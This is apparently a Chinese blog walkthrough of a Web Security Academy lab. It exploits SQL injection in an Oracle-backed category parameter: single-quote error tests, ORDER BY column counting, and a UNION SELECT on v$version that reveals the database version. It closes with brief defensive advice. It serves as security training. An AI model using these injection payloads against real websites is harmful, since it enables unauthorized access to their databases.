Web Security Academy 第三关:SQL 注入查询 Oracle 数据库版本

前言

大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。

另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on Oracle
  • 注入点:商品分类 category 参数
  • 数据库:Oracle
  • 目标:页面回显完整数据库版本信息
  • 通关条件:显示指定版本字符串

步骤 1:进入关卡初始页面

首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."

下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数


步骤 2:判断注入点 ------ 单引号测试

操作

在分类参数后直接加单引号:

plaintext

复制代码
category=Accessories'

页面结果

页面直接返回:Internal Server Error(500 错误)

请求包内容

plaintext

复制代码
GET /filter?category=Accessories%27 HTTP/2

响应:HTTP/2 500 Internal Server Error

结论

单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入


步骤 3:ORDER BY 1 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 1 --

页面结果

页面正常显示商品,无报错。说明当前字段数 ≥1。


步骤 4:ORDER BY 3 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 3 --

页面结果(对应截图)

页面再次返回 500 错误

请求包

plaintext

复制代码
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2

响应:500 错误。

结论

原查询字段数 小于 3


步骤 5:ORDER BY 2 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 2 --

页面结果(对应截图)

页面正常显示商品,无报错。

最终结论

原查询语句一共 2 个字段


步骤 6:构造 UNION 注入爆出版本

Oracle 版本查询核心知识

我之前文章讲过:

  • Oracle 查询完整版本使用系统视图:v$version
  • 版本信息字段:banner
  • Oracle 必须写 FROM,不能像 MySQL 省略
  • UNION 注入必须字段数、类型对齐

最终 Payload

plaintext

复制代码
category=-1' UNION SELECT banner,null FROM v$version--

Payload 拆解

  1. -1':让原查询结果为空,只显示我们注入的内容
  2. UNION SELECT:联合查询
  3. banner,null:刚好 2 个字段,与原查询对齐
  4. FROM v$version:Oracle 查版本必须的系统视图
  5. --:注释掉后面的 SQL 语句

步骤 7:通关成功

页面显示

页面顶部显示:Congratulations, you solved the lab!

页面直接回显完整版本:

  • Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
  • PL/SQL Release 11.2.0.2.0 - Production
  • CORE 11.2.0.2.0 Production
  • TNS for Linux: Version 11.2.0.2.0 - Production
  • NLSRTL Version 11.2.0.2.0 - Production

通关完成!


核心知识点总结

  1. 字符型注入判断:单引号触发 500 错误
  2. 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
  3. Oracle 版本查询:SELECT banner FROM v$version
  4. UNION 注入必须:字段数一致、数据类型兼容
  5. 注释符:-- 闭合后面语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 禁止网站业务账号访问 v$version 等系统视图
  3. 输入过滤与 WAF 防护

对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!

相关推荐
小园子的小菜18 分钟前
Redis 核心原理深度解析:从数据结构、IO 模型到持久化机制
数据库·redis·缓存
YUS云生31 分钟前
大模型学习·第44天:Chroma向量数据库与RAG链式组装
数据库·学习
毛驴赶鹿8 小时前
【金仓数据库征文】KES V9性能调优实战记录:从慢SQL排查到全链路优化
数据库·sql
码农阿豪8 小时前
【金仓数据库征文】Mac开发环境|SpringBoot3 + MyBatisPlus对接KES V9 Docker实战全指南
数据库·macos·docker
杨云龙UP8 小时前
MySQL 数据库常用备份工具对比:mysqldump、mydumper 与 XtraBackup
linux·运维·服务器·数据库·mysql·dba·备份恢复
ZENERGY-众壹8 小时前
500个工商业电站压垮数据库?海量光伏时序数据存储的架构取舍
数据库·架构·influxdb·光伏·光伏运维
mubei-1239 小时前
SpringDAO的用法
java·开发语言·数据库
星蓝_starblue12 小时前
零服务器、零数据库!开源growth-board,利用GitHub自动管理刷题/学习/求职全流程
服务器·数据库·程序人生·系统架构·node.js·github·改行学it
三84414 小时前
sqli-labs1-10通关笔记
数据库
BullSmall15 小时前
Another Redis Desktop Manager(ARDM)下载指南
数据库·redis·缓存